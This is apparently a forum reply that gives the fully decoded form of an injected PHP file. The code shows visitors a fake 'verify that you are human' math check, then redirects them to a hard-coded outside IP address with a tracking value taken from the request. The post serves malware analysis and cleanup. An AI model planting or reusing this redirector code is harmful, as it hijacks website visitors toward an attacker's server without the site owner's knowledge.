vv456, didn't completely decode the file.Here's fully decoded:
| Code: | <?php
/* copyright */
foreach ($_GET as $k => $v)
if (preg_match("!^[a-z0-9]{10,32}$!is", $k)) {
session_start();
if (isset($_POST["res"]) && $_SESSION["res"] == $_POST["res"]) {
header("Location: http://95.169.187.98/ijhfhf.php?mgtdfk=4534&nvhdl=skdje&gokk=" . substr($k, -5));
} else {
$a = mt_rand(1, 9);
$c = mt_rand(1, 9);
if (mt_rand(0, 1) == 1) {
$_SESSION["res"] = $a + $c;
$b = "+";
} else {
$_SESSION["res"] = $a - $c;
$b = "-";
}
echo "<form method='post'>\n\t <div style='width:520px;
margin:0px auto;
margin-top:100px;
padding:15px;
border:1px solid #333;
background-color:#eee;
'>\n\t Please verify that you are human,\n\t what is result of: " . $a . " " . $b . " " . $c . " =\n\t <input type='text' name='res' size='2' value='?'>\n\t <input type='submit' value='I am Human!'>\n\t </div></form>";
}
exit;
}
